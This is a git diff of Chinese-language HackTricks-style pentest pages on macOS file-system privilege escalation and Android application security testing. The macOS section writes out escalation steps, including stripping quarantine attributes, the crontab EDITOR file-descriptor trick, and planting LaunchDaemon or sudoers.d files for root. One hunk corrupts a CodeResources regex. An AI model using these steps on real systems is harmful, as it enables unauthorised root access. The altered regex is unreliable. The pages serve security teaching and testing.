如果在一个 **目录** 中有文件，**只有 root 拥有 R+X 访问权限**，那么这些文件对 **其他人不可访问**。因此，允许 **将用户可读的文件** 移动的漏洞，因该 **限制** 而无法读取，从这个文件夹 **到另一个文件夹**，可能被滥用以读取这些文件。
|
||||
|
||||
示例在：[https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions](https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions)
|
||||
|
||||
@ -32,13 +32,13 @@
|
||||
|
||||
### 宽松的文件/文件夹
|
||||
|
||||
如果一个特权进程正在写入一个 **文件**，该文件可能被 **低特权用户控制**，或者可能是 **之前由低特权用户创建**。用户可以通过符号链接或硬链接 **指向另一个文件**，特权进程将会在该文件上写入。
|
||||
如果一个特权进程正在 **文件** 中写入数据，而该文件可能被 **低特权用户控制**，或者可能是 **之前由低特权用户创建**。用户可以通过符号链接或硬链接 **指向另一个文件**，特权进程将会在该文件上写入。
|
||||
|
||||
查看其他部分，攻击者可能会 **滥用任意写入以提升特权**。
|
||||
查看其他部分，攻击者可能 **滥用任意写入以提升特权**。
|
||||
|
||||
### 打开 `O_NOFOLLOW`
|
||||
|
||||
当 `open` 函数使用标志 `O_NOFOLLOW` 时，它不会在最后路径组件中跟随符号链接，但会跟随路径的其余部分。防止在路径中跟随符号链接的正确方法是使用标志 `O_NOFOLLOW_ANY`。
|
||||
当 `open` 函数使用标志 `O_NOFOLLOW` 时，不会在最后路径组件中跟随符号链接，但会跟随路径的其余部分。防止在路径中跟随符号链接的正确方法是使用标志 `O_NOFOLLOW_ANY`。
|
||||
|
||||
## .fileloc
|
||||
|
||||
@ -58,11 +58,11 @@
|
||||
```
|
||||
## 文件描述符
|
||||
|
||||
### 泄漏 FD (没有 `O_CLOEXEC`)
|
||||
### 泄漏 FD (无 `O_CLOEXEC`)
|
||||
|
||||
如果调用 `open` 时没有标志 `O_CLOEXEC`，文件描述符将被子进程继承。因此，如果一个特权进程打开一个特权文件并执行一个由攻击者控制的进程，攻击者将 **继承对特权文件的 FD**。
|
||||
|
||||
如果你能让一个 **进程以高权限打开一个文件或文件夹**，你可以利用 **`crontab`** 在 `/etc/sudoers.d` 中打开一个文件，使用 **`EDITOR=exploit.py`**，这样 `exploit.py` 将获得对 `/etc/sudoers` 中文件的 FD 并加以利用。
|
||||
如果你能让一个 **进程以高权限打开一个文件或文件夹**，你可以利用 **`crontab`** 以 **`EDITOR=exploit.py`** 打开 `/etc/sudoers.d` 中的一个文件，这样 `exploit.py` 将获得对 `/etc/sudoers` 中的文件的 FD 并加以利用。
|
||||
|
||||
例如: [https://youtu.be/f1HA5QhLQ7Y?t=21098](https://youtu.be/f1HA5QhLQ7Y?t=21098)，代码: https://github.com/gergelykalman/CVE-2023-32428-a-macOS-LPE-via-MallocStackLogging
|
||||
|
||||
@ -74,7 +74,7 @@ xattr -d com.apple.quarantine /path/to/file_or_app
|
||||
```
|
||||
### uchg / uchange / uimmutable 标志
|
||||
|
||||
如果一个文件/文件夹具有此不可变属性，则无法在其上设置 xattr。
|
||||
如果一个文件/文件夹具有此不可变属性，则无法在其上放置 xattr。
|
||||
```bash
|
||||
echo asd > /tmp/asd
|
||||
chflags uchg /tmp/asd # "chflags uchange /tmp/asd" or "chflags uimmutable /tmp/asd"
|
||||
@ -86,7 +86,7 @@ ls -lO /tmp/asd
|
||||
```
|
||||
### defvfs mount
|
||||
|
||||
一个 **devfs** 挂载 **不支持 xattr**，更多信息请参见 [**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html)
|
||||
A **devfs** mount **不支持 xattr**，更多信息请参见 [**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html)
|
||||
```bash
|
||||
mkdir /tmp/mnt
|
||||
mount_devfs -o noowners none "/tmp/mnt"
|
||||
@ -120,13 +120,13 @@ ls -le /tmp/test
|
||||
```
|
||||
### **com.apple.acl.text xattr + AppleDouble**
|
||||
|
||||
**AppleDouble** 文件格式复制一个文件及其 ACE。
|
||||
**AppleDouble** 文件格式复制一个文件及其 ACEs。
|
||||
|
||||
在 [**源代码**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) 中可以看到，存储在名为 **`com.apple.acl.text`** 的 xattr 中的 ACL 文本表示将被设置为解压缩文件中的 ACL。因此，如果你将一个应用程序压缩成一个带有 ACL 的 **AppleDouble** 文件格式的 zip 文件，该 ACL 阻止其他 xattrs 被写入... 那么隔离 xattr 并没有被设置到应用程序中：
|
||||
|
||||
查看 [**原始报告**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/) 以获取更多信息。
|
||||
|
||||
要复制这一点，我们首先需要获取正确的 acl 字符串：
|
||||
要复制这个，我们首先需要获取正确的 acl 字符串：
|
||||
```bash
|
||||
# Everything will be happening here
|
||||
mkdir /tmp/temp_xattrs
|
||||
@ -195,7 +195,7 @@ Bundles 包含文件 **`_CodeSignature/CodeResources`**，该文件包含 **bund
|
||||
</dict>
|
||||
<key>rules2</key>
|
||||
...
|
||||
<key>^(.*/)?\.DS_Store$</key>
|
||||
<key>^(.*/index.html)?\.DS_Store$</key>
|
||||
<dict>
|
||||
<key>omit</key>
|
||||
<true/>
|
||||
@ -221,13 +221,13 @@ Bundles 包含文件 **`_CodeSignature/CodeResources`**，该文件包含 **bund
|
||||
...
|
||||
</dict>
|
||||
```
|
||||
可以通过命令行计算资源的签名，方法是：
|
||||
可以通过命令行计算资源的签名：
|
||||
```bash
|
||||
openssl dgst -binary -sha1 /System/Cryptexes/App/System/Applications/Safari.app/Contents/Resources/AppIcon.icns | openssl base64
|
||||
```
|
||||
## Mount dmgs
|
||||
|
||||
用户可以挂载一个自定义的 dmg，即使是在某些现有文件夹上。这就是您如何创建一个包含自定义内容的自定义 dmg 包：
|
||||
用户可以挂载一个自定义的 dmg，即使是在某些现有文件夹之上。这就是您如何创建一个包含自定义内容的自定义 dmg 包：
|
||||
```bash
|
||||
# Create the volume
|
||||
hdiutil create /private/tmp/tmp.dmg -size 2m -ov -volname CustomVolName -fs APFS 1>/dev/null
|
||||
@ -248,8 +248,8 @@ hdiutil detach /private/tmp/mnt 1>/dev/null
|
||||
# You can also create a dmg from an app using:
|
||||
hdiutil create -srcfolder justsome.app justsome.dmg
|
||||
```
|
||||
通常，macOS 通过与 `com.apple.DiskArbitrarion.diskarbitrariond` Mach 服务（由 `/usr/libexec/diskarbitrationd` 提供）进行通信来挂载磁盘。如果在 LaunchDaemons plist 文件中添加参数 `-d` 并重启，它将把日志存储在 `/var/log/diskarbitrationd.log` 中。\
|
||||
然而，可以使用像 `hdik` 和 `hdiutil` 这样的工具直接与 `com.apple.driver.DiskImages` kext 进行通信。
|
||||
通常，macOS 通过 `com.apple.DiskArbitrarion.diskarbitrariond` Mach 服务（由 `/usr/libexec/diskarbitrationd` 提供）挂载磁盘。如果在 LaunchDaemons plist 文件中添加参数 `-d` 并重启，它将把日志存储在 `/var/log/diskarbitrationd.log` 中。\
|
||||
然而，可以使用像 `hdik` 和 `hdiutil` 这样的工具直接与 `com.apple.driver.DiskImages` kext 通信。
|
||||
|
||||
## 任意写入
|
||||
|
||||
@ -257,11 +257,11 @@ hdiutil create -srcfolder justsome.app justsome.dmg
|
||||
|
||||
如果您的脚本可以被解释为 **shell 脚本**，您可以覆盖 **`/etc/periodic/daily/999.local`** shell 脚本，该脚本将每天触发。
|
||||
|
||||
您可以通过以下方式 **伪造** 此脚本的执行：**`sudo periodic daily`**
|
||||
您可以用以下命令 **伪造** 该脚本的执行：**`sudo periodic daily`**
|
||||
|
||||
### 守护进程
|
||||
|
||||
编写一个任意的 **LaunchDaemon**，例如 **`/Library/LaunchDaemons/xyz.hacktricks.privesc.plist`**，其中 plist 执行一个任意脚本，如：
|
||||
编写一个任意的 **LaunchDaemon**，如 **`/Library/LaunchDaemons/xyz.hacktricks.privesc.plist`**，其中 plist 执行一个任意脚本，如：
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
@ -278,11 +278,11 @@ hdiutil create -srcfolder justsome.app justsome.dmg
|
||||
</dict>
|
||||
</plist>
|
||||
```
|
||||
生成脚本 `/Applications/Scripts/privesc.sh`，其中包含您希望以 root 身份运行的 **命令**。
|
||||
只需生成脚本 `/Applications/Scripts/privesc.sh`，并在其中添加您希望以 root 身份运行的 **命令**。
|
||||
|
||||
### Sudoers 文件
|
||||
|
||||
如果您具有 **任意写入** 权限，您可以在 **`/etc/sudoers.d/`** 文件夹中创建一个文件，授予自己 **sudo** 权限。
|
||||
如果您具有 **任意写入** 权限，您可以在 **`/etc/sudoers.d/`** 文件夹中创建一个文件，从而授予自己 **sudo** 权限。
|
||||
|
||||
### PATH 文件
|
||||
|
||||
@ -308,9 +308,9 @@ LogFilePerm 777
|
||||
|
||||
### 沙盒逃逸
|
||||
|
||||
可以通过 FS 任意写入来逃逸 macOS 沙盒。有关一些示例，请查看页面 [macOS Auto Start](../../../../macos-auto-start-locations.md)，但一个常见的例子是在 `~/Library/Preferences/com.apple.Terminal.plist` 中写入一个终端首选项文件，该文件在启动时执行一个命令，并使用 `open` 调用它。
|
||||
可以通过 FS 任意写入来逃逸 macOS 沙盒。有关一些示例，请查看页面 [macOS Auto Start](../../../../macos-auto-start-locations.md)，但一个常见的例子是在 `~/Library/Preferences/com.apple.Terminal.plist` 中写入一个终端首选项文件，该文件在启动时执行命令，并使用 `open` 调用它。
|
||||
|
||||
## 生成其他用户可写的文件
|
||||
## 生成其他用户可写文件
|
||||
|
||||
这将生成一个属于 root 的文件，我可以写入（[**代码来自这里**](https://github.com/gergelykalman/brew-lpe-via-periodic/blob/main/brew_lpe.sh)）。这也可能作为权限提升的手段：
|
||||
```bash
|
||||
@ -326,7 +326,7 @@ echo $FILENAME
|
||||
```
|
||||
## POSIX 共享内存
|
||||
|
||||
**POSIX 共享内存** 允许在 POSIX 兼容操作系统中的进程访问一个公共内存区域，与其他进程间通信方法相比，促进了更快的通信。它涉及使用 `shm_open()` 创建或打开一个共享内存对象，使用 `ftruncate()` 设置其大小，并使用 `mmap()` 将其映射到进程的地址空间。进程可以直接从这个内存区域读取和写入。为了管理并发访问并防止数据损坏，通常使用互斥锁或信号量等同步机制。最后，进程使用 `munmap()` 和 `close()` 解除映射并关闭共享内存，并可选择使用 `shm_unlink()` 删除内存对象。该系统在多个进程需要快速访问共享数据的环境中，尤其有效于高效、快速的 IPC。
|
||||
**POSIX 共享内存** 允许在符合 POSIX 的操作系统中的进程访问一个公共内存区域，与其他进程间通信方法相比，促进了更快的通信。它涉及使用 `shm_open()` 创建或打开一个共享内存对象，使用 `ftruncate()` 设置其大小，并使用 `mmap()` 将其映射到进程的地址空间。进程可以直接从这个内存区域读取和写入。为了管理并发访问并防止数据损坏，通常使用互斥锁或信号量等同步机制。最后，进程使用 `munmap()` 和 `close()` 解除映射并关闭共享内存，并可选择使用 `shm_unlink()` 删除内存对象。该系统在多个进程需要快速访问共享数据的环境中，尤其有效于高效、快速的 IPC。
|
||||
|
||||
<details>
|
||||
|
||||
@ -424,7 +424,7 @@ return 0;
|
||||
|
||||
**macOS 受保护描述符** 是在 macOS 中引入的一项安全功能，旨在增强用户应用程序中 **文件描述符操作** 的安全性和可靠性。这些受保护的描述符提供了一种将特定限制或“保护”与文件描述符关联的方法，这些限制由内核强制执行。
|
||||
|
||||
此功能特别有助于防止某些类别的安全漏洞，例如 **未经授权的文件访问** 或 **竞争条件**。这些漏洞发生在例如一个线程正在访问一个文件描述符，导致 **另一个脆弱线程对其的访问**，或者当一个文件描述符被 **继承** 给一个脆弱的子进程时。与此功能相关的一些函数包括：
|
||||
此功能特别有助于防止某些类别的安全漏洞，例如 **未经授权的文件访问** 或 **竞争条件**。这些漏洞发生在例如一个线程正在访问一个文件描述符，导致 **另一个易受攻击的线程对其访问**，或者当一个文件描述符被 **继承** 给一个易受攻击的子进程时。与此功能相关的一些函数包括：
|
||||
|
||||
- `guarded_open_np`: 以保护方式打开文件描述符
|
||||
- `guarded_close_np`: 关闭它
|
||||
|
||||
@ -1,32 +1,32 @@
|
||||
# Android Applications Pentesting
|
||||
# Android 应用程序渗透测试
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Android Applications Basics
|
||||
## Android 应用程序基础
|
||||
|
||||
强烈建议您首先阅读此页面，以了解与Android安全性相关的**最重要部分和Android应用程序中最危险的组件**：
|
||||
强烈建议您首先阅读此页面，以了解与 Android 安全性相关的 **最重要部分和 Android 应用程序中最危险的组件**：
|
||||
|
||||
{{#ref}}
|
||||
android-applications-basics.md
|
||||
{{#endref}}
|
||||
|
||||
## ADB (Android Debug Bridge)
|
||||
## ADB (Android 调试桥)
|
||||
|
||||
这是您连接到Android设备（模拟或物理）的主要工具。\
|
||||
**ADB** 允许从计算机通过 **USB** 或 **网络** 控制设备。此工具使得**双向复制**文件、**安装**和**卸载**应用程序、**执行**shell命令、**备份**数据、**读取**日志等功能成为可能。
|
||||
这是您连接到 Android 设备（模拟或物理）所需的主要工具。\
|
||||
**ADB** 允许从计算机通过 **USB** 或 **网络** 控制设备。此工具使 **文件** 双向 **复制**、**安装** 和 **卸载** 应用程序、**执行** shell 命令、**备份** 数据、**读取** 日志等功能成为可能。
|
||||
|
||||
查看以下[**ADB命令**](adb-commands.md)列表，以了解如何使用adb。
|
||||
查看以下 [**ADB 命令**](adb-commands.md) 列表，以了解如何使用 adb。
|
||||
|
||||
## Smali
|
||||
|
||||
有时修改**应用程序代码**以访问**隐藏信息**（可能是经过良好混淆的密码或标志）是很有趣的。然后，反编译apk、修改代码并重新编译可能会很有趣。\
|
||||
[**在本教程中**，您可以**学习如何反编译APK、修改Smali代码并使用新功能重新编译APK**](smali-changes.md)。这在**动态分析期间的几项测试中可能非常有用**。因此，**始终记住这种可能性**。
|
||||
有时修改 **应用程序代码** 以访问 **隐藏信息**（可能是经过良好混淆的密码或标志）是很有趣的。然后，反编译 apk、修改代码并重新编译可能会很有趣。\
|
||||
[**在本教程中**，您可以 **学习如何反编译 APK、修改 Smali 代码并使用新功能重新编译 APK**](smali-changes.md)。这在 **动态分析** 中作为 **多项测试的替代方案** 将非常有用。然后，**始终记住这个可能性**。
|
||||
|
||||
## Other interesting tricks
|
||||
## 其他有趣的技巧
|
||||
|
||||
- [在Play Store中伪装您的位置](spoofing-your-location-in-play-store.md)
|
||||
- **下载APK**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
|
||||
- 从设备提取APK:
|
||||
- [在 Play 商店中伪装您的位置](spoofing-your-location-in-play-store.md)
|
||||
- **下载 APK**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
|
||||
- 从设备提取 APK:
|
||||
```bash
|
||||
adb shell pm list packages
|
||||
com.android.insecurebankv2
|
||||
@ -52,7 +52,7 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
|
||||
|
||||
### 寻找有趣的信息
|
||||
|
||||
仅查看 APK 的**字符串**，您可以搜索**密码**、**URL** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep))、**api** 密钥、**加密**、**蓝牙 UUID**、**令牌**以及任何有趣的内容……甚至查找代码执行的**后门**或身份验证后门（硬编码的管理员凭据）。
|
||||
仅仅查看 APK 的**字符串**，您就可以搜索**密码**、**URL** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep))、**api** 密钥、**加密**、**蓝牙 UUID**、**令牌**以及任何有趣的内容……甚至查找代码执行的**后门**或身份验证后门（硬编码的管理员凭据）。
|
||||
|
||||
**Firebase**
|
||||
|
||||
@ -64,8 +64,8 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
|
||||
|
||||
从 **Manifest.xml** 中识别的**漏洞**包括：
|
||||
|
||||
- **可调试应用程序**：在 _Manifest.xml_ 文件中设置为可调试 (`debuggable="true"`) 的应用程序存在风险，因为它们允许连接，可能导致被利用。有关如何利用可调试应用程序的进一步理解，请参考有关在设备上查找和利用可调试应用程序的教程。
|
||||
- **备份设置**：对于处理敏感信息的应用程序，`android:allowBackup="false"` 属性应明确设置，以防止通过 adb 进行未经授权的数据备份，尤其是在启用 USB 调试时。
|
||||
- **可调试的应用程序**：在 _Manifest.xml_ 文件中设置为可调试 (`debuggable="true"`) 的应用程序存在风险，因为它们允许连接，可能导致被利用。有关如何利用可调试应用程序的进一步理解，请参考有关在设备上查找和利用可调试应用程序的教程。
|
||||
- **备份设置**：对于处理敏感信息的应用程序，`android:allowBackup="false"` 属性应明确设置，以防止通过 adb 进行未经授权的数据备份，特别是在启用 USB 调试时。
|
||||
- **网络安全**：_res/xml/_ 中的自定义网络安全配置 (`android:networkSecurityConfig="@xml/network_security_config"`) 可以指定安全细节，如证书固定和 HTTP 流量设置。一个例子是允许特定域的 HTTP 流量。
|
||||
- **导出活动和服务**：在清单中识别导出的活动和服务可以突出可能被滥用的组件。在动态测试期间的进一步分析可以揭示如何利用这些组件。
|
||||
- **内容提供者和文件提供者**：暴露的内容提供者可能允许未经授权访问或修改数据。文件提供者的配置也应受到审查。
|
||||
@ -77,7 +77,7 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
|
||||
### Tapjacking
|
||||
|
||||
**Tapjacking** 是一种攻击，其中**恶意** **应用程序**被启动并**位于受害者应用程序之上**。一旦它可见地遮挡了受害者应用程序，其用户界面被设计成欺骗用户与之交互，同时将交互传递给受害者应用程序。\
|
||||
实际上，它是**让用户无法知道他们实际上是在对受害者应用程序执行操作**。
|
||||
实际上，它是**让用户不知道他们实际上是在对受害者应用程序执行操作**。
|
||||
|
||||
获取更多信息：
|
||||
|
||||
@ -87,7 +87,7 @@ tapjacking.md
|
||||
|
||||
### 任务劫持
|
||||
|
||||
一个**活动**的**`launchMode`** 设置为**`singleTask`**且未定义任何 `taskAffinity` 是易受任务劫持的。这意味着，可以安装一个**应用程序**，如果在真实应用程序之前启动，它可能会**劫持真实应用程序的任务**（因此用户将与**恶意应用程序**交互，以为自己在使用真实应用程序）。
|
||||
一个**活动**的**`launchMode`** 设置为**`singleTask`**，且没有定义任何 `taskAffinity`，则容易受到任务劫持。这意味着，可以安装一个**应用程序**，如果在真实应用程序之前启动，它可能会**劫持真实应用程序的任务**（因此用户将与**恶意应用程序**交互，以为自己在使用真实应用程序）。
|
||||
|
||||
更多信息：
|
||||
|
||||
@ -99,12 +99,12 @@ android-task-hijacking.md
|
||||
|
||||
**内部存储**
|
||||
|
||||
在 Android 中，**存储**在**内部**存储中的文件**设计**为仅由**创建**它们的**应用程序**访问。此安全措施由 Android 操作系统**强制**，通常足以满足大多数应用程序的安全需求。然而，开发人员有时会使用 `MODE_WORLD_READABLE` 和 `MODE_WORLD_WRITABLE` 等模式来**允许**文件在不同应用程序之间**共享**。然而，这些模式**并不限制**其他应用程序（包括潜在恶意应用程序）对这些文件的访问。
|
||||
在 Android 中，**存储**在**内部**存储中的文件**设计**为仅由**创建**它们的**应用程序**访问。此安全措施由 Android 操作系统**强制**执行，通常足以满足大多数应用程序的安全需求。然而，开发者有时会使用 `MODE_WORLD_READABLE` 和 `MODE_WORLD_WRITABLE` 等模式来**允许**文件在不同应用程序之间**共享**。然而，这些模式**并不限制**其他应用程序（包括潜在恶意应用程序）对这些文件的访问。
|
||||
|
||||
1. **静态分析：**
|
||||
- **确保**仔细审查 `MODE_WORLD_READABLE` 和 `MODE_WORLD_WRITABLE` 的使用。这些模式**可能会暴露**文件给**意外或未经授权的访问**。
|
||||
2. **动态分析：**
|
||||
- **验证**应用程序创建的文件上设置的**权限**。具体来说，**检查**是否有任何文件被**设置为全球可读或可写**。这可能构成重大安全风险，因为这将允许**任何安装在设备上的应用程序**，无论其来源或意图如何，**读取或修改**这些文件。
|
||||
- **验证**应用程序创建的文件上的**权限**。具体来说，**检查**是否有任何文件被**设置为全球可读或可写**。这可能构成重大安全风险，因为这将允许**任何安装在设备上的应用程序**，无论其来源或意图如何，**读取或修改**这些文件。
|
||||
|
||||
**外部存储**
|
||||
|
||||
@ -118,7 +118,7 @@ android-task-hijacking.md
|
||||
3. **处理来自外部存储的数据**：
|
||||
- 始终对从外部存储检索的数据**执行输入验证**。这至关重要，因为数据来自不受信任的来源。
|
||||
- 强烈不建议在外部存储上存储可执行文件或类文件以进行动态加载。
|
||||
- 如果您的应用程序必须从外部存储检索可执行文件，请确保这些文件在动态加载之前**已签名并经过加密验证**。此步骤对于维护应用程序的安全完整性至关重要。
|
||||
- 如果您的应用程序必须从外部存储检索可执行文件，请确保这些文件在动态加载之前**经过签名和加密验证**。此步骤对于维护应用程序的安全完整性至关重要。
|
||||
|
||||
外部存储可以在 `/storage/emulated/0`、`/sdcard`、`/mnt/sdcard` 中访问。
|
||||
|
||||
@ -127,19 +127,19 @@ android-task-hijacking.md
|
||||
|
||||
**以明文存储的敏感数据**
|
||||
|
||||
- **共享首选项**：Android 允许每个应用程序轻松地在路径 `/data/data/<packagename>/shared_prefs/` 中保存 xml 文件，有时可以在该文件夹中找到明文的敏感信息。
|
||||
- **共享偏好**：Android 允许每个应用程序轻松地在路径 `/data/data/<packagename>/shared_prefs/` 中保存 xml 文件，有时可以在该文件夹中找到明文的敏感信息。
|
||||
- **数据库**：Android 允许每个应用程序轻松地在路径 `/data/data/<packagename>/databases/` 中保存 sqlite 数据库，有时可以在该文件夹中找到明文的敏感信息。
|
||||
|
||||
### 不安全的 TLS
|
||||
|
||||
**接受所有证书**
|
||||
|
||||
出于某种原因，有时开发人员会接受所有证书，即使例如主机名与以下代码行不匹配：
|
||||
出于某种原因，有时开发者会接受所有证书，即使例如主机名与以下代码行不匹配：
|
||||
```java
|
||||
SSLSocketFactory sf = new cc(trustStore);
|
||||
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
|
||||
```
|
||||
测试此项的一个好方法是尝试使用一些代理（如 Burp）捕获流量，而不在设备中授权 Burp CA。此外，您还可以使用 Burp 为不同的主机名生成证书并使用它。
|
||||
测试这个的一个好方法是尝试使用一些代理（如 Burp）捕获流量，而不在设备中授权 Burp CA。此外，您还可以使用 Burp 为不同的主机名生成证书并使用它。
|
||||
|
||||
### 破损的加密
|
||||
|
||||
@ -149,14 +149,14 @@ sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
|
||||
|
||||
**使用不安全和/或过时的算法**
|
||||
|
||||
开发人员不应使用 **过时的算法** 来执行授权 **检查**、**存储** 或 **发送** 数据。这些算法包括：RC4、MD4、MD5、SHA1……如果 **哈希** 用于存储密码，例如，应该使用抗 **暴力破解** 的哈希并加盐。
|
||||
开发人员不应使用**过时的算法**来执行授权**检查**、**存储**或**发送**数据。这些算法包括：RC4、MD4、MD5、SHA1……如果**哈希**用于存储密码，例如，应该使用抗暴力破解的哈希并加盐。
|
||||
|
||||
### 其他检查
|
||||
|
||||
- 建议对 **APK 进行混淆**，以增加攻击者的反向工程难度。
|
||||
- 如果应用程序是敏感的（如银行应用），它应该执行 **自己的检查以查看手机是否已被 root** 并采取相应措施。
|
||||
- 如果应用程序是敏感的（如银行应用），它应该检查是否正在使用 **模拟器**。
|
||||
- 如果应用程序是敏感的（如银行应用），它应该 **在执行之前检查自身的完整性** 以确认是否被修改。
|
||||
- 建议**混淆 APK**，以增加攻击者的反向工程难度。
|
||||
- 如果应用程序是敏感的（如银行应用），它应该执行**自己的检查以查看手机是否已被root**并采取相应措施。
|
||||
- 如果应用程序是敏感的（如银行应用），它应该检查是否正在使用**模拟器**。
|
||||
- 如果应用程序是敏感的（如银行应用），它应该**在执行之前检查自己的完整性**以确认是否被修改。
|
||||
- 使用 [**APKiD**](https://github.com/rednaga/APKiD) 检查构建 APK 时使用的编译器/打包器/混淆器
|
||||
|
||||
### React Native 应用程序
|
||||
@ -177,11 +177,11 @@ react-native-application.md
|
||||
|
||||
### 超级打包应用程序
|
||||
|
||||
根据这篇 [**博客文章**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/)，超级打包是一种将应用程序内容压缩为单个文件的 Meta 算法。该博客讨论了创建一个解压缩此类应用程序的应用程序的可能性……以及一种更快的方法，即 **执行应用程序并从文件系统中收集解压缩的文件。**
|
||||
根据这篇 [**博客文章**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/)，超级打包是一种将应用程序内容压缩为单个文件的 Meta 算法。该博客讨论了创建一个解压缩此类应用程序的应用程序的可能性……以及一种更快的方法，即**执行应用程序并从文件系统中收集解压缩的文件**。
|
||||
|
||||
### 自动化静态代码分析
|
||||
|
||||
工具 [**mariana-trench**](https://github.com/facebook/mariana-trench) 能够通过 **扫描** 应用程序的 **代码** 来发现 **漏洞**。该工具包含一系列 **已知源**（指示工具 **用户控制输入的地方**）、**汇**（指示工具 **危险的地方**，恶意用户输入可能造成损害）和 **规则**。这些规则指示 **源-汇** 的 **组合**，表明存在漏洞。
|
||||
工具 [**mariana-trench**](https://github.com/facebook/mariana-trench) 能够通过**扫描**应用程序的**代码**来发现**漏洞**。该工具包含一系列**已知源**（指示工具**用户控制输入的地方**）、**汇**（指示工具**危险的地方**，恶意用户输入可能造成损害）和**规则**。这些规则指示**源-汇**的**组合**，表明存在漏洞。
|
||||
|
||||
通过这些知识，**mariana-trench 将审查代码并找到可能的漏洞**。
|
||||
|
||||
@ -197,10 +197,10 @@ bypass-biometric-authentication-android.md
|
||||
|
||||
### 其他有趣的功能
|
||||
|
||||
- **代码执行**： `Runtime.exec(), ProcessBuilder(), native code:system()`
|
||||
- **发送短信**： `sendTextMessage, sendMultipartTestMessage`
|
||||
- **声明为 `native` 的本地函数**： `public native, System.loadLibrary, System.load`
|
||||
- [阅读此文以了解 **如何反向工程本地函数**](reversing-native-libraries.md)
|
||||
- **代码执行**：`Runtime.exec(), ProcessBuilder(), native code:system()`
|
||||
- **发送短信**：`sendTextMessage, sendMultipartTestMessage`
|
||||
- **声明为 `native` 的本地函数**：`public native, System.loadLibrary, System.load`
|
||||
- [阅读此文以了解**如何反向工程本地函数**](reversing-native-libraries.md)
|
||||
|
||||
### **其他技巧**
|
||||
|
||||
@ -218,96 +218,96 @@ content-protocol.md
|
||||
|
||||
### 在线动态分析
|
||||
|
||||
您可以在 [https://appetize.io/](https://appetize.io) 创建一个 **免费账户**。该平台允许您 **上传** 和 **执行** APK，因此它对于查看 APK 的行为非常有用。
|
||||
您可以在 [https://appetize.io/](https://appetize.io) 创建一个**免费账户**。该平台允许您**上传**和**执行** APK，因此它对于查看 APK 的行为非常有用。
|
||||
|
||||
您甚至可以在网页上 **查看应用程序的日志** 并通过 **adb** 连接。
|
||||
您甚至可以在网页上**查看应用程序的日志**并通过**adb**连接。
|
||||
|
||||
.png>)
|
||||
|
||||
通过 ADB 连接，您可以在模拟器中使用 **Drozer** 和 **Frida**。
|
||||
通过 ADB 连接，您可以在模拟器中使用**Drozer**和**Frida**。
|
||||
|
||||
### 本地动态分析
|
||||
|
||||
#### 使用模拟器
|
||||
|
||||
- [**Android Studio**](https://developer.android.com/studio)（您可以创建 **x86** 和 **arm** 设备，并且根据 [**此**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html) **最新的 x86** 版本 **支持 ARM 库**，无需慢速的 arm 模拟器）。
|
||||
- 学习如何在此页面上设置：
|
||||
- [**Android Studio**](https://developer.android.com/studio)（您可以创建**x86**和**arm**设备，并且根据[**这个**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**最新的 x86** 版本**支持 ARM 库**，无需慢速的 arm 模拟器）。
|
||||
- 在此页面学习如何设置：
|
||||
|
||||
{{#ref}}
|
||||
avd-android-virtual-device.md
|
||||
{{#endref}}
|
||||
|
||||
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **（免费版：**个人版，您需要创建一个账户。_建议 **下载** 带有 _**VirtualBox** 的版本，以避免潜在错误。_)
|
||||
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **（免费版：**个人版，您需要创建一个账户。_建议**下载**带有_**VirtualBox**的版本，以避免潜在错误。_)
|
||||
- [**Nox**](https://es.bignox.com)（免费，但不支持 Frida 或 Drozer）。
|
||||
|
||||
> [!NOTE]
|
||||
> 创建新模拟器时，请记住，屏幕越大，模拟器运行越慢。因此，如果可能，请选择小屏幕。
|
||||
|
||||
要在 Genymotion 中 **安装 Google 服务**（如 AppStore），您需要单击以下图像中红色标记的按钮：
|
||||
要在 Genymotion 中**安装 Google 服务**（如 AppStore），您需要单击以下图像中红色标记的按钮：
|
||||
|
||||
.png>)
|
||||
|
||||
此外，请注意在 **Genymotion 中的 Android VM 配置** 中，您可以选择 **桥接网络模式**（如果您将从不同的 VM 连接到 Android VM 使用工具，这将非常有用）。
|
||||
